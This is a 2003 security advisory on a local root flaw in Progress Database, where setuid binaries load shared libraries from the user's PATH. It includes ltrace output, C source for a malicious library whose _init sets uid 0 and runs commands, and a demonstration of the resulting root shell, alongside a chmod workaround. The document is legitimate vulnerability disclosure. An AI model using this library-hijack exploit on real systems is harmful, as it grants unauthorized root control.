SRT2003-06-13-0945 - Progress PATH based dlopen() issue

[KF <dotslash () snosoft com>]

http://www.secnetops.biz/research

Secure Network Operations, Inc.           http://www.secnetops.com
Strategic Reconnaissance Team               research () secnetops com
Team Lead Contact                                 kf () secnetops com


Our Mission:
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Detection Systems (IDS), Software Security Validation, and 
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Quick Summary:
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Advisory Number         : SRT2003-06-13-0945
Product                 : Progress Database
Version                 : Versions 9.1 up to 9.1D06
Vendor                  : progress.com
Class                   : local
Criticality             : High (to all Progress users)
Operating System(s)     : Linux, SunOS, SCO, TRU64, *nix


High Level Explanation
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High Level Description  : Poor usage of dlopen() causes local root
compromise
What to do              : chmod -s /usr/dlc/bin/*


Technical Details
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Proof Of Concept Status : SNO has exploits for the described situation
Low Level Description   :

Progress applications make the use of several helper .dll and .so binaries. 
When looking for shared object files for use in a dlopen statement Progress
choose to look in the users PATH. No verification is performed upon the 
object that is located thus local non super users can make themselves root. 
*Most* binaries in /usr/dlc/bin can be exploited via this method. 

[elguapo@rh8 elguapo]$ ls -al /usr/dlc/bin/_proapsv
-rwsr-xr-x    1 root   root    5258733 Nov 23 02:01 /usr/dlc/bin/_proapsv

getenv("DLC")                                     = NULL
strcpy(0xbffff350, "libjutil.so")                 = 0xbffff350
memmove(0xbfffefc8, 0xbffff350, 12, 0x084a2a50, 0x084e1310) = 0xbfffefc8
access("libjutil.so", 4)                          = -1
__errno_location()                                = 0x4212a620
getenv("PATH")                                    = "/usr/local/bin:/bin...
strcat("/usr/local/bin", "/")                     = "/usr/local/bin/"
strcat("/usr/local/bin/", "libjutil.so")     = "/usr/local/bin/libjutil.so"
access("/usr/local/bin/libjutil.so", 4)           = -1
...
strcat("/home/elguapo/bin/", "libjutil.so") "/home/elguapo/bin/libjutil.so"
access("/home/elguapo/bin/libjutil.so", 4)        = 0

As you can see the library libjutil.so is searched for in the users PATH. 

Thanks to core () bokeoa com for giving me an example shared library example 
... it made exploiting this problem quite simple. 

#include <stdio.h>
#include <string.h>

// If you wanted to get creative you can hack out some fake functions for 
// use later ... but theres no need... just use _init

int ehnLogOpen(int argc, char * const argv[], const char *optstring) {
        printf("This is a fake ehnLogOpen \n");
}
int ehnLogClose(int argc, char * const argv[], const char *optstring) {
        printf("This is a fake ehnLogClose\n");
}

_init() {
   setuid(0);
   setgid(0);
   printf("bullshit library loaded\n");
   system("/usr/bin/id > /tmp/p00p");
   system("cat /tmp/p00p");
}

[elguapo@rh8 elguapo]$ /usr/dlc/bin/_proapsv
This is a fake ehnLogOpen
uid=0(root) gid=500(elguapo) groups=500(elguapo)
+0001%ReadUBproperties failed: WebSpeed error 10007, System error 0,
ServiceName cannot be NULL or blank (6275)#00This is a fake ehnLogClose
uid=0(root) gid=500(elguapo) groups=500(elguapo)

[elguapo@rh8 elguapo]$ /usr/bin/ltrace /usr/dlc/bin/_proapsv

we can see it searches path and finds nothing ... 

getenv("PATH")                                    = NULL
dlopen("libjutil.so", 258)                        = NULL
...
read(3, "Could not open Dynamic Library: "..., 81) = 81
malloc(51)                                        = 0x084df718
dlerror()                                         = "libjutil.so: cannot
open shared "...
lseek(3, 649134, 0)                               = 649134
read(3, "DLL Error : %s (8014)", 81)              = 81

In the above example we just gave it a little help finding the .so 
The dlsym command will help you determine which fake functions you need
to make the exploit work. 

getenv("PATH")                                    = "/tmp"
strcat("/tmp", "/")                               = "/tmp/"
strcat("/tmp/", "libjutil.so")                    = "/tmp/libjutil.so"
access("/tmp/libjutil.so", 4)                     = 0
dlopen("/tmp/libjutil.so", 258)                   = 0x084e1840
dlsym(0x084e1840, "ehnLogOpen")                   = 0x40013414
dlsym(0x084e1840, "ehnLogClose")                  = 0x4001345e
dlsym(0x084e1840, "ehnLogWrite")                  = 0x400134a8
dlsym(0x084e1840, "ehnLogDump")                   = 0x400134f2
dlsym(0x084e1840, "ehnLogGetProperties")          = 0x4001353c
dlsym(0x084e1840, "ehnLogSetProperties")          = 0x40013586
This is a fake ehnLogOpen
uid=0(root) gid=500(elguapo) groups=500(elguapo)


a valid work around to nearly any Progress security hole is to remove the 
suid bit from all binaries

Vendor Status           : Patch will be in version 10.x  
Bugtraq URL             : to be assigned

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This advisory was released by Secure Network Operations,Inc. as a matter
of notification to help administrators protect their networks against
the described vulnerability. Exploit source code is no longer released
in our advisories. Contact research () secnetops com for information on how
to obtain exploit information.